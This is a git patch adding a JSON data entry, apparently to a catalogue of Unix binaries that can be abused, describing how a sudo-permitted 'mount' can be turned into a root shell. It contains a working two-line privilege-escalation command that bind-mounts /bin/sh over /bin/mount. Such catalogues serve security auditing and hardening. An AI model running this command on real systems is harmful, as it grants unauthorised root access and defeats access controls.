From a0cf323fef7c393887d74ade5e3ffc4489b2e984 Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 11:40:41 +0100 Subject: [PATCH] add data for mount --- data/mount.json | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 data/mount.json diff --git a/data/mount.json b/data/mount.json new file mode 100644 index 0000000..a3b0c37 --- /dev/null +++ b/data/mount.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "Exploit the fact that 'mount' can be executed via 'sudo' to replace the 'mount' binary with a shell.", + "code": "sudo mount -o bind /bin/sh /bin/mount\nsudo mount\n" + } + ] + } +} \ No newline at end of file